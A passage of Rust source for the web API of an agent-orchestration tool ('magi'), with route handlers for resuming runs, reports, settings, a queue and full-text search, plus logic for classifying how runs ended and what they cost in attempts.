3454    State(ui): State<Arc<Ui>>,
3455    Path(id): Path<String>,
3456    Json(body): Json<FoldMergedBody>,
3457) -> ApiResult<Json<FoldMergedView>> {
3458    let pr_url = body.pr_url.trim().to_owned();
3459    if pr_url.is_empty() {
3460        return Err(ApiError::bad_request("pr_url is required"));
3461    }
3462    let (id, mut state) = {
3463        let ui = Arc::clone(&ui);
3464        blocking(move || {
3465            let id = resolve_run(&ui.runs, &id)?;
3466            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3467                return Err(ApiError::conflict(format!(
3468                    "run {id} is being worked on by a live daemon right now"
3469                )));
3470            }
3471            let state = read_run(&ui.runs, &id)?;
3472            Ok((id, state))
3473        })
3474        .await?
3475    };
3476    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3477        .await
3478        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3479    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3480        .await
3481        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3482    Ok(Json(FoldMergedView {
3483        run: id,
3484        before: before.as_str().to_owned(),
3485        after: after.as_str().to_owned(),
3486        removed,
3487    }))
3488}
3489
3490/// What [`run_fold_merged`] did, so the deck can say so.
3491#[derive(Debug, Serialize)]
3492struct FoldMergedView {
3493    run: String,
3494    /// `status` before the correction — normally `"blocked"`.
3495    before: String,
3496    /// `status` after — normally `"merged"`.
3497    after: String,
3498    /// Worktree paths and branch names the trailing fold removed.
3499    removed: Vec<String>,
3500}
3501
3502/// `POST /api/runs/{id}/resume`.
3503///
3504/// Carry a stalled run on from where it stopped, in the background.
3505///
3506/// A stalled card says "the work is kept" and used to offer no way to act on
3507/// that: the candidates are built and paid for, and continuing means re-asking
3508/// only the seats whose absence collapsed the panel. The alternative an
3509/// operator actually had was releasing the task, which competes three fresh
3510/// implementations against work that already exists.
3511///
3512/// **202, not 200.** A resume runs agents for minutes; holding the connection
3513/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
3514/// phone learns the outcome from the change stream.
3515///
3516/// Refused when the loop is running at all, not merely when it is on this run.
3517/// The scarce resource is the agent CLIs' quota, and a tap that quietly
3518/// started a second graph on top of whatever the loop is already driving —
3519/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
3520/// allows — would spend that quota twice over for no extra throughput.
3521async fn run_resume(
3522    State(ui): State<Arc<Ui>>,
3523    Path(id): Path<String>,
3524) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3525    let (id, state) = {
3526        let ui = Arc::clone(&ui);
3527        blocking(move || {
3528            let id = resolve_run(&ui.runs, &id)?;
3529            let state = read_run(&ui.runs, &id)?;
3530            Ok((id, state))
3531        })
3532        .await?
3533    };
3534    if let Some(to) = &state.released_to {
3535        return Err(ApiError::conflict(format!(
3536            "run {} can no longer be resumed: its worktree was released to run {}, which \
3537             took the branch over.",
3538            state.short(),
3539            crate::run::short_of(to)
3540        )));
3541    }
3542    if !state.status.resumable() {
3543        return Err(ApiError::conflict(format!(
3544            "run {} is `{}`, and only a stalled or blocked run can be resumed",
3545            state.short(),
3546            status_word(state.status)
3547        )));
3548    }
3549    // Refused whenever the loop is running anything at all, not merely when
3550    // it is on this run: a manual resume racing a loop-driven run over the
3551    // same agent quota is the thing this guard exists to prevent, whether
3552    // the loop's own concurrency is one run or several.
3553    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3554        .into_iter()
3555        .next()
3556    {
3557        return Err(ApiError::conflict(format!(
3558            "the loop is running run {} right now; stop it first, or wait for \
3559             it to finish, before resuming a run by hand.",
3560            crate::run::short_of(&work.run)
3561        )));
3562    }
3563    let _resume = ui.begin_resume(&id)?;
3564
3565    // The same shape the list route returns, so the phone updates the card it
3566    // already has rather than learning a second schema for one button.
3567    let queued = RunSummary::of(
3568        &state,
3569        !ui.questions.open_for(&id).is_empty(),
3570        state.liveness(false),
3571    );
3572    let run = id.clone();
3573    tokio::spawn(async move {
3574        let _resume = _resume;
3575        match crate::graph::Runner::resume(&run) {
3576            Ok(mut runner) => {
3577                if let Err(e) = runner.execute().await {
3578                    tracing::warn!("resume of run {run} stopped: {e:#}");
3579                }
3580            }
3581            // The run's own record is what the phone reads; this line is for
3582            // the operator's terminal.
3583            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3584        }
3585    });
3586    Ok((StatusCode::ACCEPTED, Json(queued)))
3587}
3588
3589async fn run_report(
3590    State(ui): State<Arc<Ui>>,
3591    Path(id): Path<String>,
3592) -> ApiResult<impl IntoResponse> {
3593    let text = blocking(move || {
3594        let id = resolve_run(&ui.runs, &id)?;
3595        // Colour is off for the whole process, set once in `serve`. Rendering
3596        // is CPU work over the full state, which is the other reason this is
3597        // not on the executor.
3598        let state = read_run(&ui.runs, &id)?;
3599        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3600        let live = state.liveness(daemon_claims);
3601        Ok(format!(
3602            "{}{}",
3603            report::run(&state),
3604            report::active_seats(&state, live)
3605        ))
3606    })
3607    .await?;
3608    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3609}
3610
3611/// The structured twin of [`run_report`]: the same state, as sections the UI
3612/// draws as cards. An unreadable run answers with the same error the text
3613/// route does; it is never turned into an empty report.
3614async fn run_report_json(
3615    State(ui): State<Arc<Ui>>,
3616    Path(id): Path<String>,
3617) -> ApiResult<Json<crate::report_view::RunReportView>> {
3618    let view = blocking(move || {
3619        let id = resolve_run(&ui.runs, &id)?;
3620        let state = read_run(&ui.runs, &id)?;
3621        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3622        Ok(crate::report_view::build(
3623            &state,
3624            state.liveness(daemon_claims),
3625        ))
3626    })
3627    .await?;
3628    Ok(Json(view))
3629}
3630
3631/// A task as the UI sees it.
3632///
3633/// The whole task, plus the two things the client would otherwise have to
3634/// reimplement: the human-readable source and the status string. Nothing is
3635/// removed - the phone shows `last_error` and the run history verbatim.
3636#[derive(Debug, Serialize)]
3637struct TaskView {
3638    #[serde(flatten)]
3639    task: Task,
3640    source_label: String,
3641    source_link: Option<SourceLink>,
3642    status_str: &'static str,
3643    /// The instruction, parsed as markdown, for the Queue card's "Full
3644    /// instruction" panel. `task.instruction` is unchanged and still carries
3645    /// the raw text.
3646    instruction_md: Vec<md::Node>,
3647    /// For a blocked task, what it waits on with each dependency's state, e.g.
3648    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
3649    /// recurses; empty for every other status.
3650    waits_on: Vec<String>,
3651    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
3652    /// behind - non-empty means nothing in the loop will ever run it.
3653    stuck_roots: Vec<String>,
3654}
3655
3656impl From<Task> for TaskView {
3657    fn from(task: Task) -> Self {
3658        Self {
3659            source_label: task.source.label(),
3660            source_link: source_link(&task.source),
3661            status_str: task.status.as_str(),
3662            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3663            waits_on: Vec::new(),
3664            stuck_roots: Vec::new(),
3665            task,
3666        }
3667    }
3668}
3669
3670impl TaskView {
3671    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3672        let waits_on = inv.waits_on(&task);
3673        let stuck_roots = inv
3674            .stuck_roots(&task)
3675            .iter()
3676            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3677            .collect();
3678        Self {
3679            waits_on,
3680            stuck_roots,
3681            ..Self::from(task)
3682        }
3683    }
3684}
3685
3686/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
3687/// its absence, leaves the cache to decide.
3688#[derive(Debug, Default, Deserialize)]
3689#[serde(default)]
3690struct ReposQuery {
3691    refresh: u8,
3692}
3693
3694/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
3695/// listing `magi repos` prints at a terminal.
3696///
3697/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
3698/// so an edit to `magi.toml` takes effect without a restart, the same
3699/// reasoning [`config_for`] documents for the talk routes.
3700async fn repos_list(
3701    State(ui): State<Arc<Ui>>,
3702    Query(q): Query<ReposQuery>,
3703) -> ApiResult<Json<Vec<repos::Repo>>> {
3704    let refresh = q.refresh != 0;
3705    blocking(move || {
3706        let (cfg, _) = Config::discover(&ui.repo, None)?;
3707        Ok(Json(ui.repos_cache.list(
3708            &cfg.repos.roots,
3709            Duration::from_secs(cfg.repos.scan_ttl),
3710            refresh,
3711        )))
3712    })
3713    .await
3714}
3715
3716/// `GET /api/settings` - the effective role assignments and roster, with the
3717/// layer each came from. A config that fails to load answers 200 with an
3718/// `error`, so the screen can say so instead of drawing empty lists.
3719async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3720    blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3721}
3722
3723/// The body of `PUT /api/settings/roles`.
3724#[derive(Debug, Deserialize)]
3725#[serde(deny_unknown_fields)]
3726struct RolesBody {
3727    /// The `revision` the client last read.
3728    revision: String,
3729    /// Role key to its new ids; an empty list resets the key to its default.
3730    #[serde(default)]
3731    roles: std::collections::BTreeMap<String, Vec<String>>,
3732    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
3733    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
3734    /// words (422) instead of as a deserialization error.
3735    #[serde(default)]
3736    counts: std::collections::BTreeMap<String, serde_json::Value>,
3737}
3738
3739/// `PUT /api/settings/roles` - save role assignments to the machine config.
3740///
3741/// The write target is `ui.machine_config` and nothing in the body can change
3742/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
3743/// 422 with the reason in words.
3744async fn settings_put_roles(
3745    State(ui): State<Arc<Ui>>,
3746    body: std::result::Result<Json<RolesBody>, JsonRejection>,
3747) -> ApiResult<Json<settings::SettingsView>> {
3748    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3749    blocking(move || {
3750        settings::save(
3751            &ui.repo,
3752            ui.machine_config.as_deref(),
3753            &body.revision,
3754            &body.roles,
3755            &body.counts,
3756        )
3757        .map(Json)
3758        .map_err(|e| match e {
3759            settings::SaveError::Conflict(m) => ApiError::conflict(m),
3760            settings::SaveError::Refused(m) => ApiError {
3761                status: StatusCode::UNPROCESSABLE_ENTITY,
3762                message: m,
3763            },
3764            settings::SaveError::Internal(m) => ApiError::internal(m),
3765        })
3766    })
3767    .await
3768}
3769
3770async fn queue_list(
3771    State(ui): State<Arc<Ui>>,
3772    Query(q): Query<ListQuery>,
3773) -> ApiResult<Json<Vec<TaskView>>> {
3774    blocking(move || {
3775        let tasks = ui.queue.list();
3776        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3777        Ok(Json(
3778            tasks
3779                .into_iter()
3780                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3781                .map(|t| TaskView::with_inventory(t, &inv))
3782                .collect(),
3783        ))
3784    })
3785    .await
3786}
3787
3788/// Most hits one search returns. The rest are counted in `total`.
3789const SEARCH_MAX_HITS: usize = 100;
3790/// Longest query, in characters, and most terms it is split into.
3791const SEARCH_MAX_QUERY: usize = 200;
3792const SEARCH_MAX_TERMS: usize = 8;
3793/// Characters of context kept before the first hit, and after it.
3794const SNIPPET_BEFORE: usize = 50;
3795const SNIPPET_AFTER: usize = 110;
3796
3797/// `?scope=runs|tasks&q=...`
3798#[derive(Debug, Deserialize)]
3799struct SearchQuery {
3800    #[serde(default)]
3801    scope: String,
3802    #[serde(default)]
3803    q: String,
3804}
3805
3806/// One piece of a snippet. `hit` pieces are what matched; the client renders
3807/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
3808#[derive(Debug, Serialize, PartialEq, Eq)]
3809struct SnippetPart {
3810    text: String,
3811    hit: bool,
3812}
3813
3814#[derive(Debug, Serialize)]
3815struct SearchHit {
3816    id: String,
3817    /// The name of the field the snippet was cut from.
3818    field: String,
3819    snippet: Vec<SnippetPart>,
3820    /// The run's list row, so the page can apply its state / section / repo
3821    /// filters to a hit outside the loaded window. Absent for tasks and for a
3822    /// run record the list view cannot read.
3823    #[serde(skip_serializing_if = "Option::is_none")]
3824    run: Option<RunSummary>,
3825}
3826
3827#[derive(Debug, Serialize)]
3828struct SearchView {
3829    scope: String,
3830    q: String,
3831    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
3832    hits: Vec<SearchHit>,
3833    /// Every match, hits beyond the cap included.
3834    total: usize,
3835    truncated: bool,
3836    /// Runs whose `run.json` could not be parsed at all. They were not
3837    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
3838    unreadable: usize,
3839}
3840
3841/// The text leaves of a JSON document, with the name of the field each sits
3842/// under. Keys and numbers are skipped: they are structure, not prose.
3843fn text_leaves<'a>(
3844    value: &'a serde_json::Value,
3845    field: &'a str,
3846    out: &mut Vec<(&'a str, &'a str)>,
3847) {
3848    match value {
3849        serde_json::Value::String(s) => out.push((field, s)),
3850        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3851        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3852        _ => {}
3853    }
3854}
3855
3856/// Lower-case one character without changing how many there are, so indices
3857/// in the lowered text are indices in the original.
3858fn fold_char(c: char) -> char {
3859    c.to_lowercase().next().unwrap_or(c)
3860}
3861
3862/// Split a query into its lower-cased terms.
3863fn search_terms(q: &str) -> Vec<String> {
3864    let mut terms: Vec<String> = Vec::new();
3865    for t in q.split_whitespace() {
3866        let t = t.to_lowercase();
3867        if !terms.contains(&t) {
3868            terms.push(t);
3869        }
3870    }
3871    terms
3872}
3873
3874/// Match `terms` (all of them, anywhere in the document) against the leaves
3875/// and cut a snippet around the first hit. `None` when a term is missing.
3876fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3877    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3878    let mut first: Option<usize> = None;
3879    for term in terms {
3880        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3881        first = Some(first.map_or(at, |f| f.min(at)));
3882    }
3883    // The leaf holding the earliest hit of any term is where the snippet is cut.
3884    let (field, text) = leaves[first?];
3885    Some(SearchHit {
3886        id: String::new(),
3887        field: field.to_owned(),
3888        snippet: snippet_of(text, terms),
3889        run: None,
3890    })
3891}
3892
3893/// A window of `text` around the first occurrence of any term, whitespace
3894/// collapsed, with every term occurrence inside the window marked.
3895fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3896    let chars: Vec<char> = text.chars().collect();
3897    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3898    let needles: Vec<Vec<char>> = terms
3899        .iter()
3900        .map(|t| t.chars().map(fold_char).collect())
3901        .collect();
3902    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3903        let mut best: Option<(usize, usize)> = None;
3904        for n in needles.iter().filter(|n| !n.is_empty()) {
3905            // `to` bounds where a match may start; it may run past `to` (the
3906            // caller clips what it shows). A term longer than the field cannot
3907            // occur in it (it may live in another leaf of the document).
3908            if n.len() > chars.len() || to == 0 {
3909                continue;
3910            }
3911            let last = (to - 1).min(chars.len() - n.len());
3912            if from > last {
3913                continue;
3914            }
3915            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3916                && best.is_none_or(|(b, _)| i < b)
3917            {
3918                best = Some((i, i + n.len()));
3919            }
3920        }
3921        best
3922    };
3923    let Some((start, _)) = find(0, chars.len()) else {
3924        // Matched only through a case mapping that changes length: show the head.
3925        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3926        return vec![SnippetPart {
3927            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3928            hit: false,
3929        }];
3930    };
3931    let lo = start.saturating_sub(SNIPPET_BEFORE);
3932    let hi = (start + SNIPPET_AFTER).min(chars.len());
3933    let mut parts: Vec<SnippetPart> = Vec::new();
3934    let mut push = |s: &[char], hit: bool| {
3935        if s.is_empty() {
3936            return;
3937        }
3938        let text: String = s.iter().collect();
3939        match parts.last_mut() {
3940            Some(p) if p.hit == hit => p.text.push_str(&text),
3941            _ => parts.push(SnippetPart { text, hit }),
3942        }
3943    };
3944    if lo > 0 {
3945        push(&['\u{2026}'], false);
3946    }
3947    let mut at = lo;
3948    while at < hi {
3949        match find(at, hi) {
3950            Some((s, e)) => {
3951                push(&chars[at..s], false);
3952                // A match running past the window is shown up to its edge.
3953                let shown = e.min(hi);
3954                push(&chars[s..shown], true);
3955                at = shown;
3956            }
3957            None => {
3958                push(&chars[at..hi], false);
3959                at = hi;
3960            }
3961        }
3962    }
3963    if hi < chars.len() {
3964        push(&['\u{2026}'], false);
3965    }
3966    // Collapse whitespace (newlines in an instruction) without disturbing the
3967    // hit boundaries.
3968    let mut prev_space = false;
3969    for p in &mut parts {
3970        let mut out = String::with_capacity(p.text.len());
3971        for c in p.text.chars() {
3972            if c.is_whitespace() {
3973                if !prev_space {
3974                    out.push(' ');
3975                }
3976                prev_space = true;
3977            } else {
3978                out.push(c);
3979                prev_space = false;
3980            }
3981        }
3982        p.text = out;
3983    }
3984    parts.retain(|p| !p.text.is_empty());
3985    parts
3986}
3987
3988/// The search over `docs` (id, document), newest first, capped.
3989fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3990where
3991    I: IntoIterator<Item = (String, serde_json::Value)>,
3992{
3993    for (id, doc) in docs {
3994        let mut leaves = Vec::new();
3995        // The id is text an operator types too, and it is a map key on disk,
3996        // not a leaf.
3997        leaves.push(("id", id.as_str()));
3998        text_leaves(&doc, "", &mut leaves);
3999        if let Some(mut hit) = search_document(terms, &leaves) {
4000            view.total += 1;
4001            if view.hits.len() < SEARCH_MAX_HITS {
4002                hit.id = id;
4003                view.hits.push(hit);
4004            }
4005        }
4006    }
4007    view.truncated = view.total > view.hits.len();
4008}
4009
4010/// What a conversation is searched by: its list title and each turn's text,
4011/// under `operator` / `agent` so the snippet says who spoke. Nothing else
4012/// (session ids, repo paths, usage, drafts) is part of the document.
4013///
4014/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
4015/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
4016fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4017    let opener = talk
4018        .turns
4019        .iter()
4020        .find(|t| t.who == crate::talk::Who::Operator)
4021        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4022        .unwrap_or("");
4023    let title: String = if opener.chars().count() > 96 {
4024        opener.chars().take(95).chain(['\u{2026}']).collect()
4025    } else {
4026        opener.to_owned()
4027    };
4028    let turns: Vec<serde_json::Value> = talk
4029        .turns
4030        .iter()
4031        .map(|t| {
4032            let who = match t.who {
4033                crate::talk::Who::Operator => "operator",
4034                crate::talk::Who::Agent => "agent",
4035            };
4036            serde_json::json!({ who: t.body })
4037        })
4038        .collect();
4039    serde_json::json!({ "title": title, "turns": turns })
4040}
4041
4042/// Read-only full-text search over every run's `run.json`, every task or every
4043/// conversation (title and transcript).
4044///
4045/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
4046/// record from an older schema still searches; only a file that is not JSON
4047/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
4048async fn search_get(
4049    State(ui): State<Arc<Ui>>,
4050    Query(q): Query<SearchQuery>,
4051) -> ApiResult<Json<SearchView>> {
4052    let query = q.q.trim().to_owned();
4053    if query.is_empty() {
4054        return Err(ApiError::bad_request("q must not be empty"));
4055    }
4056    if query.chars().count() > SEARCH_MAX_QUERY {
4057        return Err(ApiError::bad_request(format!(
4058            "q is longer than {SEARCH_MAX_QUERY} characters"
4059        )));
4060    }
4061    let terms = search_terms(&query);
4062    if terms.len() > SEARCH_MAX_TERMS {
4063        return Err(ApiError::bad_request(format!(
4064            "q has more than {SEARCH_MAX_TERMS} terms"
4065        )));
4066    }
4067    let scope = q.scope;
4068    if scope != "runs" && scope != "tasks" && scope != "chats" {
4069        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4070    }
4071    blocking(move || {
4072        let mut view = SearchView {
4073            scope: scope.clone(),
4074            q: query,
4075            hits: Vec::new(),
4076            total: 0,
4077            truncated: false,
4078            unreadable: 0,
4079        };
4080        if scope == "runs" {
4081            let mut unreadable = 0;
4082            // One run.json is read, matched and dropped at a time; nothing
4083            // holds the whole history. The scan runs to the end even past the
4084            // hit cap so `total` and `unreadable` stay exact.
4085            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4086                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4087                match body.and_then(|b| serde_json::from_str(&b).ok()) {
4088                    Some(v) => Some((id, v)),
4089                    None => {
4090                        unreadable += 1;
4091                        None
4092                    }
4093                }
4094            });
4095            search_docs(&terms, docs, &mut view);
4096            view.unreadable = unreadable;
4097            // Only the capped hits get a row: the filters need a run's state,
4098            // and reading every match would be the whole history again.
4099            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4100            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4101            for hit in &mut view.hits {
4102                if let Ok(state) = read_run(&ui.runs, &hit.id) {
4103                    hit.run = summarize(
4104                        [state],
4105                        &open_runs,
4106                        &claimed,
4107                        &superseded,
4108                        |p| probe.borrow_mut().status(p),
4109                        |p| probe.borrow_mut().started_at(p),
4110                    )
4111                    .pop();
4112                }
4113            }
4114        } else if scope == "chats" {
4115            let (talks, unreadable) = ui.talks.list_counting_unreadable();
4116            view.unreadable = unreadable;
4117            search_docs(
4118                &terms,
4119                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4120                &mut view,
4121            );
4122        } else {
4123            let docs = ui.queue.list().into_iter().filter_map(|t| {
4124                let mut v = serde_json::to_value(&t).ok()?;
4125                // `source` serialises as a tagged object; the label is what
4126                // the operator reads ("human", "chat@a1b2").
4127                if let Some(o) = v.as_object_mut() {
4128                    o.insert("filed_by".to_owned(), t.source.label().into());
4129                }
4130                Some((t.id, v))
4131            });
4132            search_docs(&terms, docs, &mut view);
4133        }
4134        Ok(Json(view))
4135    })
4136    .await
4137}
4138
4139/// One attempt in a task's history, as the task page lists it.
4140#[derive(Debug, Serialize)]
4141struct TaskRunView {
4142    /// 1-based position in [`Task::runs`].
4143    n: usize,
4144    id: String,
4145    short: String,
4146    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
4147    kind: &'static str,
4148    /// The run's own status string; `None` when its record cannot be read.
4149    status: Option<&'static str>,
4150    /// Whether this build could read the run's record. Counted, never hidden.
4151    readable: bool,
4152    /// A verdict from a collapsed panel is provisional, never a decision.
4153    provisional: bool,
4154    /// What kind of attempt this was, in one line.
4155    description: String,
4156    /// How it ended and why the task moved on (or what it is doing now).
4157    outcome: String,
4158    created_at: Option<Timestamp>,
4159    pr: Option<String>,
4160    /// Why this pass ended, classified once; the flowchart is built from it.
4161    exit: RunExit,
4162    /// What the pass did to the task's attempt budget.
4163    attempt: AttemptCost,
4164    /// The branch a review-only run reopened.
4165    branch: Option<String>,
4166}
4167
4168/// How one pass over a run ended, as far as the task's life is concerned.
4169#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4170#[serde(rename_all = "snake_case")]
4171enum RunExit {
4172    Unreadable,
4173    /// An earlier pass of a run id that appears again: it stopped short.
4174    Interrupted,
4175    Parked,
4176    QuotaStall,
4177    /// Stalled on a resumed pass with quota losses on record: they may be
4178    /// left over from an earlier pass, so whether this one was refunded is
4179    /// not knowable.
4180    ResumedQuotaStall,
4181    Merged,
4182    Ready,
4183    Superseded,
4184    /// The change was already on the base under other commits: the task
4185    /// finished without this run landing anything.
4186    AlreadyInBase,
4187    /// Stalled without a rate limit to blame: no verdict, attempt spent.
4188    Stalled,
4189    /// Blocked / no-op with a pull request left open: held for a person.
4190    HeldWithPr,
4191    NoopHeld,
4192    /// Blocked or failed: the attempt is spent and the task retries or holds.
4193    Spent,
4194    InProgress,
4195}
4196
4197#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4198#[serde(rename_all = "snake_case")]
4199enum AttemptCost {
4200    Spent,
4201    Refunded,
4202    None,
4203    /// Cannot be told from the records that remain.
4204    Unknown,
4205}
4206
4207impl RunExit {
4208    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4209        let Some(s) = s else {
4210            return Self::Unreadable;
4211        };
4212        let status = s.status;
4213        if resumed_later {
4214            Self::Interrupted
4215        } else if s.parked {
4216            Self::Parked
4217        } else if !status.done() {
4218            Self::InProgress
4219        } else if matches!(status, RunStatus::Merged) {
4220            Self::Merged
4221        } else if matches!(status, RunStatus::Ready) {
4222            Self::Ready
4223        } else if matches!(status, RunStatus::Superseded) {
4224            Self::Superseded
4225        } else if matches!(status, RunStatus::AlreadyInBase) {
4226            Self::AlreadyInBase
4227        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4228            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4229        {
4230            if resumed {
4231                Self::ResumedQuotaStall
4232            } else {
4233                Self::QuotaStall
4234            }
4235        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4236            Self::HeldWithPr
4237        } else if matches!(status, RunStatus::VerifiedNoop) {
4238            Self::NoopHeld
4239        } else if matches!(status, RunStatus::Stalled) {
4240            Self::Stalled
4241        } else {
4242            Self::Spent
4243        }
4244    }
4245
4246    fn cost(self) -> AttemptCost {
4247        match self {
4248            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4249            Self::Merged
4250            | Self::Ready
4251            | Self::Stalled
4252            | Self::HeldWithPr
4253            | Self::NoopHeld
4254            | Self::Spent => AttemptCost::Spent,
4255            Self::InProgress => AttemptCost::None,
4256            Self::AlreadyInBase => AttemptCost::Refunded,
4257            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4258                AttemptCost::Unknown
4259            }
4260        }
4261    }
4262
4263    /// Short edge wording for leaving a run this way.
4264    fn edge_label(self, status: Option<&str>) -> String {
4265        match self {
4266            Self::Unreadable => "record unreadable".to_owned(),
4267            Self::Interrupted => "interrupted before the run finished".to_owned(),
4268            Self::Parked => "parked, attempt refunded".to_owned(),
4269            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4270            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4271            Self::Merged => "merged".to_owned(),
4272            Self::Ready => "ready, not merged".to_owned(),
4273            Self::Superseded => "superseded by a later attempt".to_owned(),
4274            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4275            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4276            Self::HeldWithPr => "blocked, PR left open".to_owned(),
4277            Self::NoopHeld => "verified no-op".to_owned(),
4278            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4279            Self::InProgress => "in progress".to_owned(),
4280        }
4281    }
4282
4283    /// Does a task in `end` follow from a run that ended this way? When not,
4284    /// somebody closed or held the task by hand.
4285    fn explains(self, end: TaskStatus) -> bool {
4286        match self {
4287            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4288            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4289            Self::Unreadable | Self::Superseded | Self::Ready => true,
4290            _ => end != TaskStatus::Done,
4291        }
4292    }
4293}
4294
4295/// `GET /api/queue/{id}` - one task with every attempt it went through.
4296#[derive(Debug, Serialize)]
4297struct TaskDetailView {
4298    #[serde(flatten)]
4299    task: TaskView,
4300    /// The attempt budget `magi serve` / `magi web` start a loop with unless
4301    /// told otherwise; the loop's own flag is not visible from here.
4302    max_attempts: usize,
4303    history: Vec<TaskRunView>,
4304    flow: FlowView,
4305    /// How many entries of `history` could not be read.
4306    runs_unreadable: usize,
4307    /// Why the attempt count can be lower than the number of runs.
4308    attempts_note: &'static str,
4309}
4310
4311const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4312and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4313on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4314in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4315
4316/// The branch a review-only run reopened, read off the instruction
4317/// `Runner::open_review` writes.
4318fn review_branch_of(instruction: &str) -> Option<&str> {
4319    let rest = instruction.strip_prefix("Review the work already on branch `")?;
4320    rest.split('`').next().filter(|b| !b.is_empty())
4321}
4322
4323/// Where an entry sits in a task's run list.
4324struct RunSlot<'a> {
4325    /// 1-based position.
4326    n: usize,
4327    /// The same run id appeared earlier: this pass resumed it.
4328    resumed: bool,
4329    /// Position of a later pass over the same run id, if any.
4330    resumed_later: Option<usize>,
4331    /// The previous distinct run and how it ended, for the retry note.
4332    prior: Option<(&'a str, RunStatus)>,
4333    last: bool,
4334}
4335
4336/// Describe one entry of a task's run list. Pure: everything it needs is on
4337/// the run and the task, so it is asserted without a server.
4338fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4339    let RunSlot {
4340        n,
4341        resumed,
4342        resumed_later,
4343        prior,
4344        last,
4345    } = at;
4346    let short = run::short_of(id).to_owned();
4347    let Some(s) = state else {
4348        return TaskRunView {
4349            n,
4350            id: id.to_owned(),
4351            short,
4352            kind: "unknown",
4353            status: None,
4354            readable: false,
4355            provisional: false,
4356            description:
4357                "This run's record could not be read by this build (written by a different \
4358                          magi, or removed), so what kind of attempt it was is unknown."
4359                    .to_owned(),
4360            outcome: String::new(),
4361            created_at: None,
4362            pr: None,
4363            exit: RunExit::Unreadable,
4364            attempt: AttemptCost::Unknown,
